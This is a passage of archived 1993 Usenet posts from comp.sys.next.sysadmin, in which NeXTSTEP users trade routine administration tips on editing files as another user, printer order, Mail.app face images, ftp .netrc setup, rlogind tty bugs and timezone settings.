useful when maintaining uucp-owned files).
To do this, get a shell and type:
regular-user> su alt-username
Password:.......
alt-username> (/NextApps/Edit.app/Edit) &
Edit will launch with an icon at the bottom of the screen. To open files, you
must use the "Open Panel" (dragging the file's icon into the open panel helps
here). Also, do not use carriage return to accept selections of the open
panel, click the OK button with the mouse (CR will cause the file to open under
regular-user for unknown reasons).
You must be aware of which files are opened as which user. You can
cmd-double-click on the Edit icon at the bottom of the screen to see only those
files opened by alt-username.
I have tried this trick with several other apps with varying degrees of success
(mostly failure). Mail.app does not behave well. WorkSpaceManager doesn't
work at all. FileViewer starts to work, then doesn't. I havn't tried it with
Terminal.app.
What I'd really like is to be able to open several Workspace Managers as
different users; are you listening NeXT?
--
Charles Lloyd
GiantLeap Software (713) 363-0887
clloyd@GLeap.jpunix.com (713) 363-0936 (fax)
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
From: Aaron Herskowitz
Subject: DOS File Date Incorrect after Write
Message-ID: <1993Mar29.025841.6810@alleg.edu>
Sender: news@alleg.edu
Organization: Allegheny College
Date: Mon, 29 Mar 1993 02:58:41 GMT
Why is it that whenever you write to a file on a DOS disk from a
NeXTstation running NS 2.2 and then return the disk to a PC that the file
seems to have jumped back in time 30 years? When I do a directory on the
DOS machine <yuck>, I get a 1962 date.
I looked through the FAQs that I have and could find nothing about this.
Thanks in advance,
Aaron
aherskow@alleg.edu [NeXTmail Welcomed]
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
From: gad@eclipse.its.rpi.edu (Garance A. Drosehn)
Subject: Re: Reversing the order of printing
Message-ID: <b--5!3+@rpi.edu>
References: <1993Mar25.120254.5083@uunet!cbmvax!xmws!kripalu>
Date: Mon, 29 Mar 1993 05:32:48 GMT
harit@kripalu.com writes:
> gds@ikura.cs.uct.ac.za (Riel Smit) writes:
> > I can't find the place where I can tell the print command started
> > from Preview to NOT send the last page first. This is preview
> > release 2.0(v22)
> >
> > Any help will be appreciated
>
> In NS 3.0 the printer definition controls the print order not the
> application. In NS 2.0 I never found a way to change print order.
> It was just always backward.
Actually this gives one a round-about way to have an option for selecting
the print order. All my printcap entries send jobs to other unix hosts for
printing. The way our LaserWriter IIg is setup, my printouts come out
backwards -- which is rather annoying.
So I copied
/NextLibrary/PrinterTypes/English.lproj/Apple_LaserWriter_IIg.ppd
to
/LocalLibrary/PrinterTypes/English.lproj/Apple_LaserWriter_IIg-R.ppd
and changed the line:
*DefaultOutputOrder: Normal
to be
*DefaultOutputOrder: Reverse
Our LaserWriter IIg also has the ROM upgrade from Apple, so it includes the
ZapfDigbats font in it's ROM. So I added that line to the ppd file too
(copying it from one of the other ppd files).
I then added a second printcap entry, which was about the same as the first
except that it specified "ty=Apple LaserWriter IIg-R" (and it has a
different printer name too, of course). This seems to work out pretty well.
I can select either printer from the "Print..." panel, and one prints pages
in the opposite order of the other.
--
Garance Alistair Drosehn = gad@eclipse.its.rpi.edu
ITS Systems Programmer (handles NeXT-type mail)
Rensselaer Polytechnic Institute; Troy NY USA
Newsgroups: comp.sys.next.sysadmin
From: gad@eclipse.its.rpi.edu (Garance A. Drosehn)
Subject: Re: user tiffs under Mail.app (RTF posting)
Message-ID: <c=-5tk-@rpi.edu>
Keywords: face-tiffs Mail NewsGrazer
References: <1993Mar26.072654.354@designimage.megalith.miami.fl.us>
Date: Mon, 29 Mar 1993 06:11:16 GMT
designimage!root (Operator) writes:
> I am trying to set up the tiffs of remote people so that when I
receive
> mail from them I can see their image in Mail's panel.
>
> I know that for local users I have to name the tiffs as "user.tiff"
> (ie, so that my tiff is dino.tiff). What about a person by the name
> of stimpy@foo.com?
>
> I've tried naming their tiff as:
> o stimpy.tiff
> o stimpy@foo.com.tiff
> Neither one has worked. Can this be done at all?
Put all your face-tiff icons in /LocalLibrary/Images/People in
"NewsGrazer
format". That replaces "@" and "!"'s in the name with periods, such
that
the face tiff for gad@eclipse.its.rpi.edu
should be in gad.eclipse.its.rpi.edu.tiff
Note that that all letters should be in lowercase too, such that a
real email address of Robert_La_Ferla@hot.com
should be in robert_la_ferla.hot.com.tiff
and the face tiff for Conrad_Geiger@NeXT.com
should be in conrad_geiger.next.com.tiff
Also create a link from /LocalLibrary/NewsGrazer/People to
/LocalLibrary/Images/People if you are using NewsGrazer.
Once you have all the tiffs in that directory, cd to that directory
and run the mkpassalia script (originally written by Carl Edman) from
within the directory. I actually keep the mkpassalia script in that
directory.
Here's the script, with a few changes from me:
The astute person will note that this script doesn't really work for
all cases. It won't do the right mapping for an address like
Joe%place@other.host.com, for instance. The newsgrazer form of that
address is joe.place.other.host.com, and this script recreates that
as a Mail.app name of joe@place.other.host.com. Not sure what to do
about that.
The original version of this script is part of a package called
"Faces3.tar.Z" which was put together by Carl Edman. This includes a
*huge* collection of face tiffs from assorted sources. Many of the
people in this collection have since moved (email-address-wise), or
have newer, better face-tiffs available. That collection is
available at sonata.cc.purdue.edu in directory
/pub/next/graphics/Images/icons/people. Be warned that the file
itself is over 4 meg, and once you decompress and untar it the result
takes up over 5 meg. Therefore, don't pick this up unless you have
at least 10-12 meg of free disk space available to you.
In my opinion, this is much too much of a good thing. Someday I'd
like to put together a trimmed-down and updated version of this
collection. The problem is I haven't figured out a really good way
to keep such a collection up-to-date. There's also the question of a
single person having multiple email addresses, and how to keep all
those up-to-date.
I do have a trimmed-down collection (which is about 0.5 meg,
uncompressed), but I'm already running into problems with keeping
that reasonably accurate.
I do like the idea of these face-tiff images, as it makes Mail and
Usenet a little bit less impersonal. I don't think the current
algorithms for a face-tiff database (as implemented in Mail and
Usenet) are quite the right ones though.
--
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Newsgroups: comp.sys.next.sysadmin
From: gad@eclipse.its.rpi.edu (Garance A. Drosehn)
Subject: Re: user tiffs under Mail.app
Message-ID: <g=-56m-@rpi.edu>
References: <116135@netnews.upenn.edu>
Date: Mon, 29 Mar 1993 06:14:03 GMT
shuque@microsupport.sas.upenn.edu (Shumon Huque) writes:
> On a related note, I cannot get addresses with funny characters
> (specifically the underbar) in them to work. The most common is
> an address like those that come from NeXT, having the form:
>
> First_Last@next.com
>
> It seems, that if I follow the above procedure and have the corresponding
> tiff file, the mail picture does not show up. Can anyone confirm this?
The problem is usually that you're leaving the uppercase letters in the
name. Here's an excerpt from my previous post, which lists two names that I
know will work fine (if you put the tiffs in the location noted, and then
run Carl Edman's mkpassalia script on the People directory):
Note that that all letters should be in lowercase too, such that a
real email address of Robert_La_Ferla@hot.com
should be in robert_la_ferla.hot.com.tiff
and the face tiff for Conrad_Geiger@NeXT.com
should be in conrad_geiger.next.com.tiff
--
Garance Alistair Drosehn = gad@eclipse.its.rpi.edu
ITS Systems Programmer (handles NeXT-type mail)
Rensselaer Polytechnic Institute; Troy NY USA
Newsgroups: comp.unix.questions,comp.sys.next.sysadmin
From: Fruehling@rz.uni-jena.de (Fruehling)
Subject: Re: Ftp with .netrc question
Message-ID: <1993Mar29.065115.15123@rz.uni-jena.de>
Summary: it works
Organization: Friedrich-Schiller-University Jena, Germany
References: <1p4qnh$2of@steffi.demon.co.uk>
Date: Mon, 29 Mar 1993 06:51:15 GMT
In article <1p4qnh$2of@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes:
>How can you make my .netrc let me log into any machine with anonymous
>ftp?
Here it works with the following line in the .netrc file:
default login anonymous passwd your_adress_as_required
regards M.
From: oleg@gd.cs.csufresno.edu (Oleg Kibirev)
Newsgroups: comp.sys.next.sysadmin
Subject: What happened to /dev/tty?
Message-ID: <1993Mar28.215815.4624@nic.csu.net>
Date: 29 Mar 93 05:58:13 GMT
Organization: Computer Science Departement of California State University in Fresno
Is there no more /dev/tty in NextStep 3? If it works on your computer,
what device number do you have for it? Thanks!
Oleg
math:~> ls -al /dev/tty
crw-rw-rw- 1 root 2, 0 Jul 30 1992 /dev/tty
math:~> cat /dev/tty
/dev/tty: No such device or address
Newsgroups: comp.unix.questions,comp.sys.next.sysadmin
From: cedman@princeton.edu (Carl Edman)
Subject: Re: Ftp with .netrc question
In-Reply-To: gseidman@math16.math.umbc.edu's message of 28 Mar 1993 23:37:07 GMT
To: gseidman@math16.math.umbc.edu (gseidman@math16.math.umbc.edu)
Message-ID: <CEDMAN.93Mar28202405@capitalist.princeton.edu>
Originator: news@nimaster
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <1p4qnh$2of@steffi.demon.co.uk> <1p5cr3$fkf@news.umbc.edu>
Date: Mon, 29 Mar 1993 00:24:05 GMT
In article <1p5cr3$fkf@news.umbc.edu> gseidman@math16.math.umbc.edu (gseidman@math16.math.umbc.edu) writes:
In article <1p4qnh$2of@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert Nicholson) writes:
>How can you make my .netrc let me log into any machine with anonymous
>ftp?
>
>Currently if I specify "machine hostname" it will only execute the
>commands providing the machine hostname matches the host im currently
>connected to in an ftp session. What I would like is to be able to
>set it up so that I can just anonymous ftp anywhere.
Once again, as many have said before, the only way to default to anonymous
login is to use ncftp, by Mike Gleason I believe. If you do not have a
.netrc entry for a host ncftp will automatically attempt an anonymous
login.
Well, then many have said wrong before. As a matter of fact any
release of BSD ftp more recent than the paleolithic one distributed by
NeXT support automatic anonymous logins. Almost complete sources to
BSD can be found on any number of archive sites including ftp.uu.net.
A NeXT ready and extended version of BSD ftp can be found on
sonata.cc.purdue.edu.
Carl Edman
Newsgroups: comp.sys.next.sysadmin
Subject: 8bits, login and Zyxel
Message-ID: <1993Mar29.082631.19336@urz.unibas.ch>
From: frank@ifi.unibas.ch (Robert Frank)
Date: Mon, 29 Mar 1993 08:26:31 GMT
Sender: news@urz.unibas.ch (USENET News System)
Organization: Institut fuer Informatik
Keywords: 8bits, login, Zyxel
Last weekend I switched our modem link from the Ultrix box to the NeXT. As
usual (with NeXT), I had to do a lot of changing before the 8bit clean path was
available. Now i still have one problem I don't know how to solve. (Under
Ultrix it 'just worked'.)
My settings:
in /etc/gettytab:
# NXFax dialup
DNXFax: \
:im=\r\n\
Welcome to node %h\r\n\
Institut fuer Informatik\r\n\
Universitaet Basel\r\n\n\
Unauthorized use prohibited!\r\n\n:\
:lm=Login\: :\
:p8:sp#38400:
The problem: after making the connection, the above initial message (im) is
sent to the caller with parity generated. This shows as 'garbage' on the
receivers screen, as the receiver is expecting 8bits, no parity.
After entering a login name, the following text (Password and all the rest) is
properly transmitted and everything works fine.
Is there any way I can coax the NeXT (driver, NXFax???) into sending the
initial message with 8bits no parity? I couldn't find any option that would do
this in the gettytab man page.
Thanks for any help.
-Robert
--
Robert Frank tel. + (061) 321 99 67
Institut fuer Informatik fax + (061) 321 99 15
University of Basel, Switzerland
Mittlere Strasse 142 rfc822: frank@ifi.unibas.ch (NeXT mail accepted)
CH-4056 Basel X400: S=frank;OU=ifi;O=unibas;P=switch;A=arcom;C=ch
( if all fails try frank@urz.unibas.ch )
Newsgroups: comp.sys.next.sysadmin
From: Eric Noyau <e_noyau@cubx.com>
Subject: Re: user tiffs under Mail.app
Message-ID: <1993Mar29.074931.6246@pelane.cubx.com>
Sender: noyau@pelane.cubx.com
Organization: Cub'X systemes
References: <1993Mar26.072654.354@designimage.megalith.miami.fl.us>
Date: Mon, 29 Mar 1993 07:49:31 GMT
In article <1993Mar26.072654.354@designimage.megalith.miami.fl.us>
designimage!root (Operator) writes:
> [...]
> I am trying to set up the tiffs of remote people so that when I receive
> mail from them I can see their image in Mail's panel.
> [...]
>
FAQ
--
(Eric Noyau - e_noyau@cubx.com - (Small)NeXTMail Ok) /R{rand 2147483647
div mul}def 1 1 90{pop dup gsave/Helvetica findfont 40 R scalefont setfont
500 R 800 R moveto 360 R rotate 1 R setgray show grestore}for pop showpage
% The fish doesn't think because the fish knows... everything --- Iggy Pop
Newsgroups: comp.sys.next.sysadmin
From: aoki@madonna (Ken-ichiro Aoki)
Subject: Re: NetInfoManager, Printer and NS3.0
Message-ID: <1993Mar27.144012.14889@mic.ucla.edu>
References: <1993Mar26.160256.5376@mic.ucla.edu>
Date: 27 Mar 93 14:40:12 PST
I wrote
...
: I have a question about NetInfo in NS3.0; When you use the NIManager,
: it seems that any user (who can run NIManager) can change
: the properties+values in the local printer directory.
: When you try to save, it does not anthenticate and just saves it.
....
Sorry to ask a RTFM question; in short, this is a feature
that is turned on by default which can be turned off.
To do so, just destroy the _writers property.
This default applies to printer, fax_modem and localconfig/screens.
You can fix it by using NetInfo, niutil or by using the
next.com:ftp/pub/Misc/Utitlities/WritersFix.compressed.
There is a CERT advisory out on this point.
The reason it is turned on by default is to let the users
attach printers, fax-modems without getting hassled by the sysadmin.
I would like to thank all the kind fellow NeXT users who took time
to respond and also all the people who were going to do so.
--
___Kenichiro Aoki (aoki@physics.ucla.edu) Physics Dept,UCLA,Ca,USA.
(Please note that the From: field might be screwed up if you are replying.)
Newsgroups: comp.sys.next.sysadmin
From: dave@prim.demon.co.uk (Dave Griffiths)
Subject: Re: Tip: Run Edit as Another User
Keywords: su Edit groupware
Organization: Primitive Software Ltd.
References: <1993Mar29.004911.5633@gleap.jupnix.com>
Date: Mon, 29 Mar 1993 08:47:34 +0000
Message-ID: <1993Mar29.084734.2655@prim>
Sender: usenet@demon.co.uk
In article <1993Mar29.004911.5633@gleap.jupnix.com> clloyd@gleap.jpunix.com writes:
>You can run Edit as any other user on your system and trick it to make it think
>you're logged in as that user. This way, you have the proper file permissions
>for reading and (especially) saving the files. (I find this particularly
>useful when maintaining uucp-owned files).
>
>[...]
>
>What I'd really like is to be able to open several Workspace Managers as
>different users; are you listening NeXT?
Or even better have an icon which represents a "gateway" into another user
environment. So you have an application which lets you log in as a different
user. This switches screens to look like you've just logged in as that user
except that there is an icon at the bottom which represents your original
environment. Double-clicking on it takes you back and vice-versa. Like two
virtual terminals.
Dave Griffiths
Newsgroups: comp.sys.next.sysadmin
From: kgnome@cs.concordia.ca (MATIS stephane)
Subject: Re: NFS mounting a PC running SOSS
Message-ID: <C4nnuA.GKC@newsflash.concordia.ca>
Keywords: SOSS, NFS
Sender: usenet@newsflash.concordia.ca (USENET News System)
Organization: Computer Science, Concordia University, Montreal, Quebec
References: <1ov02nINN7jf@epic.truevision.com>
Date: Mon, 29 Mar 1993 14:49:22 GMT
In article <1ov02nINN7jf@epic.truevision.com> steve@estel.uindy.edu writes:
>Hi,
>
>Has anybody out there had much luck mounting a PC running SOSS from a
>NeXT? I can mount it using 'mount', but when I try double clicking on a
>file in the browser I get read errors of some kind (no file is ever
>opened). Is there something I'm missing? Does anyone have this working?
>(BTW I can seem to mount from an HP machine, and an SCO machine, so I
>*think* the SOSS end is pretty much sane.)
>
>thanks!
>-steve
Well, I have used 'soss' on my PC when I had 2.1 running on my
NeXT, but since 3.0, and having to return the borrowed network card of
my pc, I can't tell./
I can assure you that it worked flawlessly though.
>--------------------------< cut here >----------------------------
>Steve Spicklemire (317) 788-3313 steve@estel.uindy.edu
>Dept of Mathematics and Physics NeXTmail Welcome!
>1400 East Hanna Avenue, 46227
>
+---------------------------------+ ___ ___ ___
| Stephane I. Matis | / \_BATLLETECH /\__\ Viva NeXT!
| E-Mail : kgnome@cs.concordia.ca | \___/ \___/ \/__/ NeXTSTEP 3.0!
| "It Just Works..." - Steve Jobs | \___/
+---------------------------------+ Wolfnet Operative & NeXThead
From: gt2186a@prism.gatech.EDU (COBIA,FRANK NAYLOR)
Newsgroups: comp.sys.next.sysadmin
Subject: Help booting from the CD-ROM
Message-ID: <90644@hydra.gatech.EDU>
Date: 29 Mar 93 14:08:32 GMT
Organization: Georgia Institute of Technology
I tried to boot from the CD-ROM and could not do it. I have one of the original
slabs, so I boot from the floppy. It then checks evry SCSI address and the
drive light comes on as each address is checked, but after it finishes
checking all of them the Monitor tells me that I do not have a CD-ROM drive
connected to the system.
Can anyone help me?
Frank
--
COBIA,FRANK NAYLOR
Georgia Institute of Technology, Atlanta Georgia, 30332
uucp: ...!{allegra,amd,hplabs,ut-ngp}!gatech!prism!gt2186a
Internet: gt2186a@prism.gatech.edu
From: "Jeremy G. Mereness" <zonker+@CMU.EDU>
Newsgroups: comp.sys.next.sysadmin
Subject: Re: NFS Server Bug, 3.0?
Date: Mon, 29 Mar 1993 09:45:46 -0500
Organization: Graduate School of Industrial Administr., Carnegie Mellon, Pittsburgh, PA
Message-ID: <0fhkiOe00iMF424EQg@andrew.cmu.edu>
Thanks for all the replies. The sentiment was that NFS (not necessarily
NextStep) was at fault here. However, I found out that Netinfo and
Next's boot procedure was smart enough not to overwrite a symlink if it
finds one where it would like to place a mount-point. But if a server
doesn't have a file or link or directory where Netinfo thinks a
mount-point should be, Netinfo will create one there, just as if the
server were just another client... and that's trouble.
Most of the time, this is not a problem if you are mounting a server
directory AS IT APPEARS on the server, but I had an external disk that I
meant to mount on clients as if it were on the root. So, Netinfo got
confused with the server until I put symlinks there.
Thank again. All's working fine now.
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
|Jeremy Mereness | Support | Ye Olde Disclaimer: |
|zonker+@cmu.edu (internet) | NeXTStep | This message represents|
| or jm7e+@andrew.cmu.edu | Software | my opinions, alone. |
|FAST Laboratory, CMU-GSIA |------------| Thank you, Mask Man. |
| B.S. Mech Eng. CMU,1992| Certificate Mixology,1992 |No NeXTMail, yet |
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From: louie@sayshell.umd.edu (Louis A. Mamakos)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: DialUpIp with 38400/ISDN ?
Date: 29 Mar 1993 15:48:12 GMT
Organization: The University of Maryland, College Park
Message-ID: <1p75nsINNc47@ni.umd.edu>
References: <1993Mar28.163144.6652@chsun.chuug.ch>
In article <1993Mar28.163144.6652@chsun.chuug.ch> Florian.Gutzwiller@open.ch writes:
>We're running TranSys SLIP over a 38400 ISDN Terminal Adapter. It now seems,
>that with MTU set to 256 it works fine compared to 1006 causing a hang after 5
>minutes. Can anybody comment on this behaviour?
Sounds like a flow control problem. Do you have a cable that supports
hardware flow control? Is the ISDN terminal adaptor configured to
support hardware (CTS/RTS) flow control?
Louis Mamakos
From: hbergh@nl.oracle.com (Herbert van den Bergh)
Newsgroups: comp.sys.next.sysadmin
Subject: Timezone info in Preferences incomplete
Message-ID: <3722@nlsun1.oracle.nl>
Date: 29 Mar 93 12:21:14 GMT
Organization: Oracle Europe
This weekend was the first time we had a change to Daylight
Saving Time in The Netherlands. The clock of Preferences in the
dock didn't follow. I had chosen GMT+0100. After changing that
to Poland the time seemed to be right. But I don't live in
Poland. So that's a bit strange. In /etc/zoneinfo I can see
lots of additional timezone definitions, but these are ignored
by Preferences. I did a
'strings /NextApps/Preferences.app/Preferences'
which showed me hardcoded file names from /etc/zoneinfo. Of
course the one I expect to be the right one for me, MET, wasn't
in there. So what can I do? Is there a way to tell Preferences
about the other timezones in /etc/zoneinfo? Or should I just
pretend I'm living in Poland instead?
--
Herbert van den Bergh
Oracle Europe
hbergh@nl.oracle.com
Newsgroups: comp.sys.next.sysadmin
From: serge@dadofsam.Princeton.EDU
Subject: Re: Tip: Run Edit as Another User
Message-ID: <1993Mar29.164106.9444@Princeton.EDU>
Originator: news@nimaster
Keywords: uid su root real effective
Sender: news@Princeton.EDU (USENET News System)
Organization: Princeton University
References: <1993Mar29.004911.5633@gleap.jupnix.com>
Date: Mon, 29 Mar 1993 16:41:06 GMT
In article <1993Mar29.004911.5633@gleap.jupnix.com> clloyd@gleap (Charles C.
Lloyd) writes:
> ... (much deleted) ...
> What I'd really like is to be able to open several Workspace Managers as
> different users; are you listening NeXT?
>
I'll second that ... in particular, for a SysAdmin, it would be nice to be able
to run a root Workspace manager.
> Charles Lloyd
> GiantLeap Software (713) 363-0887
> clloyd@GLeap.jpunix.com (713) 363-0936 (fax)
Serge J. Goldstein
Princeton Univerity CIT
From: kwang@data.acs.calpoly.edu (Kevin John Wang)
Newsgroups: comp.sys.next.bugs,comp.sys.next.sysadmin
Subject: /etc/mtab? and the auto-diskmounter? and booting?
Keywords: mtab mount fsck blah
Message-ID: <1993Mar29.200213.160239@zeus.calpoly.edu>
Date: 29 Mar 93 20:02:13 GMT
Sender: news@zeus.calpoly.edu
Followup-To: comp.sys.next.sysadmin
Organization: Cal Poly State University, San Luis Obispo
Does anyone else's /etc/mtab keep getting chmod'ed to 600? This is
wreaking havoc over here because df and SoundWorks refuse to work if they
can't read /etc/mtab.
1: I have verified it in as far as on SOME of our
machines the file is 600 after boot. SOME machines.
2: I'm fairly sure that on ALL the machines ejecting a floppy causes
/etc/mtab to become 600. inserting does not.
3: I *THINK* that the OD has the same effect.
4: I *THINK* that fsck also twiddles with the permissions.
help?
(besides putting something in cron...)
I think that it is either the AutoDiskmounter or maybe even mount/umount
anyone? anyone?
- Kevin Wang
Newsgroups: comp.sys.next.sysadmin
From: marcel@nice.usergroup.ethz.ch (Marcel Waldvogel)
Subject: Re: What happened to /dev/tty?
Message-ID: <1993Mar29.201451.15421@bernina.ethz.ch>
Sender: news@bernina.ethz.ch (USENET News System)
Organization: NiCE - NeXT User Group, Zuerich
References: <1993Mar28.215815.4624@nic.csu.net>
Date: Mon, 29 Mar 1993 20:14:51 GMT
In article <1993Mar28.215815.4624@nic.csu.net> oleg@gd.cs.csufresno.edu (Oleg Kibirev) writes:
>math:~> ls -al /dev/tty
>crw-rw-rw- 1 root 2, 0 Jul 30 1992 /dev/tty
>math:~> cat /dev/tty
>/dev/tty: No such device or address
/dev/tty is a special device in that it redirects your open() to the
correct tty which it gets from your processes info. If you can't open
the tty, your process is not assiciated with one (try 'ps -x' and your
shell will not have an assiociated tty (see the TT field)). rlogin
doesn't do this properly (nobody at NeXT seems to use Terminal). Mail
to bug_next, perhaps they'll fix it (some time).
-Marcel
Newsgroups: comp.sys.next.sysadmin
From: marcel@nice.usergroup.ethz.ch (Marcel Waldvogel)
Subject: Re: Timezone info in Preferences incomplete
Message-ID: <1993Mar29.204838.16465@bernina.ethz.ch>
Sender: news@bernina.ethz.ch (USENET News System)
Organization: NiCE - NeXT User Group, Zuerich
References: <3722@nlsun1.oracle.nl>
Date: Mon, 29 Mar 1993 20:48:38 GMT
In article <3722@nlsun1.oracle.nl> hbergh@nl.oracle.com (Herbert van den Bergh) writes:
> This weekend was the first time we had a change to Daylight
> Saving Time in The Netherlands. The clock of Preferences in the
> dock didn't follow. I had chosen GMT+0100. After changing that
> to Poland the time seemed to be right.
Most of the NeXTified Europeans have to live in Poland (at least
it looks like that). What I hate more is that there is no possibility
to set this globally (it makes no sense to me that one user has time
zone X and another user has time zone Y).
-Marcel
Newsgroups: comp.sys.next.sysadmin
From: scott@geom.umn.edu (Scott S. Bertilson)
Subject: Re: What happened to /dev/tty?
Message-ID: <C4o6Bs.Mn5@news2.cis.umn.edu>
Sender: news@news2.cis.umn.edu (Usenet News Administration)
Organization: Geometry Center, University of Minnesota
References: <1993Mar28.215815.4624@nic.csu.net>
Date: Mon, 29 Mar 1993 21:28:38 GMT
I have had substantial problems with my shell not being properly
attached to the pty when I "rlogin" to a next and my shell is "bash".
It seems to work fine under "Terminal", but ever since 3.0 I've had
problems. Doesn't seem to be a problem with any other shell than
"bash" for me. Has anyone seen this other than when using "bash"?
(I should admit that the "bash" I'm running was compiled under 2.1.)
If not, then I'm very curious what causes it on your end.
Scott
--
Newsgroups: comp.sys.next.sysadmin
From: korp@eid.anl.gov (Peter A. Korp)
Subject: Can't use Edit properly from workspace after de-installing Emacs.app
Message-ID: <C4oADy.Gr6@mcs.anl.gov>
Keywords: Edit, Workspace, Emacs, Tools
Sender: usenet@mcs.anl.gov
Organization: Argonne National Laboratory, Argonne, Illinois
Date: Mon, 29 Mar 1993 22:56:21 GMT
I installed Emacs.app and after some period of time with it I determined
that Edit interacted better with the standard NeXT development environment
so I got rid of Emacs. Now I can't seem to make plain text files open in
Edit by clicking on them in workspace anymore! When I pop the tools
inspector in Workspace it says that there is no tools inspector for that
file!?!
I am still able to open .c and .h files, but not files with no extension
or files with an unknown extension (eg. cmos.ram).
Any ideas on how to coerce Workspace into setting a default editor, this
used to work before I installed Emacs.app.
Thanks,
--
Peter A. Korp
Assistant Scientist
Argonne National Laboratory
korp@eid.anl.gov
Newsgroups: comp.sys.next.sysadmin
From: mjh@cs.vu.nl (Huisjes MJ)
Subject: Re: What happened to /dev/tty?
Message-ID: <C4oAsy.6n@cs.vu.nl>
Sender: news@cs.vu.nl
Organization: Fac. Wiskunde & Informatica, VU, Amsterdam
References: <1993Mar28.215815.4624@nic.csu.net> <C4o6Bs.Mn5@news2.cis.umn.edu>
Date: Mon, 29 Mar 1993 23:05:21 GMT
scott@geom.umn.edu (Scott S. Bertilson) writes:
} I have had substantial problems with my shell not being properly
} attached to the pty when I "rlogin" to a next and my shell is "bash".
} It seems to work fine under "Terminal", but ever since 3.0 I've had
} problems. Doesn't seem to be a problem with any other shell than
} "bash" for me. Has anyone seen this other than when using "bash"?
} (I should admit that the "bash" I'm running was compiled under 2.1.)
} If not, then I'm very curious what causes it on your end.
} Scott
} --
This bug has been noted by everyone who ever uses a standard shell. It
has been posted to bug_next@next.com zillions of times ever since 1.0.
One look at the orginal BSD code shows the error, rlogind was compiled with
the -DDEBUG flag which explicitly deassociates itself from its controlling tty.
(I have a copy of the BSD code to show it). All releases since have come
with a newly compiled rlogind, but always it has with DEBUG defined. Recompile
it without DEBUG and all goes well. Fixed version of rlogind are available
from the several ftp sites (just to name one sutro.sfsu.edu [130.212.15.230]
: /pub/2.0-fixed-rlogind.tar.Z).
Yeah right thrust NeXT to ever solve a problem for you.
--
Maarten Huisjes. mjh@cs.vu.nl (192.31.231.42)
(..!uunet.uu.net!cs.vu.nl!mjh)
Newsgroups: comp.sys.next.sysadmin
From: lemson@ux1.cso.uiuc.edu (David Lemson)
Subject: Re: Timezone info in Preferences incomplete
Message-ID: <C4oDnr.2M1@ux1.cso.uiuc.edu>
Organization: University of Illinois at Urbana
References: <3722@nlsun1.oracle.nl> <1993Mar29.204838.16465@bernina.ethz.ch>
Date: Tue, 30 Mar 1993 00:06:49 GMT
marcel@nice.usergroup.ethz.ch (Marcel Waldvogel) writes:
>it looks like that). What I hate more is that there is no possibility
>to set this globally (it makes no sense to me that one user has time
>zone X and another user has time zone Y).
Not true. Change the time zone as root and remove the setuid bit
from /usr/lib/Preferences/set_time_zone if you're running 3.0. This
is documented in the Network&SysAdmin manual chapter 16. (if you're
running 2.1, simply remove the setuid bit from
/NextApps/Preferences)
--
David Lemson (217) 244-1205
University of Illinois NeXT Campus Consultant / CCSO NeXT Lab System Admin
Internet : lemson@uiuc.edu UUCP :...!uiucuxc!uiucux1!lemson
NeXTMail & MIME accepted BITNET : LEMSON@UIUCVMD
Newsgroups: comp.sys.next.sysadmin
Subject: Re: What happened to /dev/tty?
Message-ID: <1993Mar29.171947.4633@nic.csu.net>
From: oleg@gd.cs.csufresno.edu
Date: 29 Mar 93 17:19:47 PST
References: <1993Mar28.215815.4624@nic.csu.net> <1993Mar29.201451.15421@bernina.ethz.ch>
Organization: Computer Science Departement of California State University in Fresno
In article <1993Mar29.201451.15421@bernina.ethz.ch> marcel@nice.usergroup.ethz.ch (Marcel Waldvogel) writes:
>In article <1993Mar28.215815.4624@nic.csu.net> oleg@gd.cs.csufresno.edu (Oleg Kibirev) writes:
>>math:~> ls -al /dev/tty
>>crw-rw-rw- 1 root 2, 0 Jul 30 1992 /dev/tty
>>math:~> cat /dev/tty
>>/dev/tty: No such device or address
>
>/dev/tty is a special device in that it redirects your open() to the
>correct tty which it gets from your processes info. If you can't open
>the tty, your process is not assiciated with one (try 'ps -x' and your
>shell will not have an assiociated tty (see the TT field)). rlogin
>doesn't do this properly (nobody at NeXT seems to use Terminal). Mail
>to bug_next, perhaps they'll fix it (some time).
>
Ooops! I should have though about this one. Surprizingly, rlogin works
just fine with NextStep 2. I tried copying V2 rlogind over, but it still
fails to set tty. Is it a bug in the kernel?
Oleg
From: treed@bmt.gun.com (Timothy Reed)
Newsgroups: comp.sys.next.sysadmin
Subject: Intel 9600EX and NeXTSTEP 3.0 configuration needed
Date: 29 Mar 1993 21:00:40 -0600
Organization: UTexas Mail-to-News Gateway
Sender: daemon@cs.utexas.edu
Message-ID: <199303300256.AA05395@karubi>
I have a user with an Intel 9600EX modem connected to a NeXT computer running NeXTSTEP 3.0. He
needs to dial into my e-mail server's Telebit Worldblazer V.32/V.32bis/V.42/V.42bis, but has not
been able to so far. The modems seem to have trouble syncing up - he never gets to a login prompt.
I want to explore his modem config first, but I'm not familiar with Intel modems. Does anyone out
there have experience with the Intel, or (better) a list of settings for the modem. I'm sure that
anything that works on SunOS 4.1 or less will do fine - at least that'll be a good starting point.
Reply directly to me and I'll summarize to the lists.
Thanks,
Tim Reed
treed@gun.com
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From: yang@mouse.im.nsysu.edu.tw (Tyng-Jing Yang)
Subject: Auto power on after power is back ?
Message-ID: <YANG.93Mar29120800@mouse.im.nsysu.edu.tw>
Sender: news@cc.nsysu.edu.tw (News Manager)
Organization: NSYSU MIS Department
Date: Mon, 29 Mar 1993 04:06:42 GMT
Hi, netter,
Is it possiable to make NeXTCube reboot automatically after
the electricity is coming back ?
It is unconvient to go back to school to punch that power key.
Thank for you pointer,
Tyng-Jing Yang
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From: soward@slow.inslab.uky.edu (John Soward)
Subject: Re: Ftp with .netrc question
Message-ID: <C4ooHo.50v@ms.uky.edu>
Sender: news@ms.uky.edu (USENET News System)
Organization: University Of Kentucky, Dept. of Math Sciences
References: <1p5cr3$fkf@news.umbc.edu>
Date: Tue, 30 Mar 1993 04:00:59 GMT
gseidman@math16.math.umbc.edu writes
-> In article <1p4qnh$2of@steffi.demon.co.uk> robert@steffi.demon.co.uk (Robert
Nicholson) writes:
-> >How can you make my .netrc let me log into any machine with anonymous
-> >ftp?
-> >
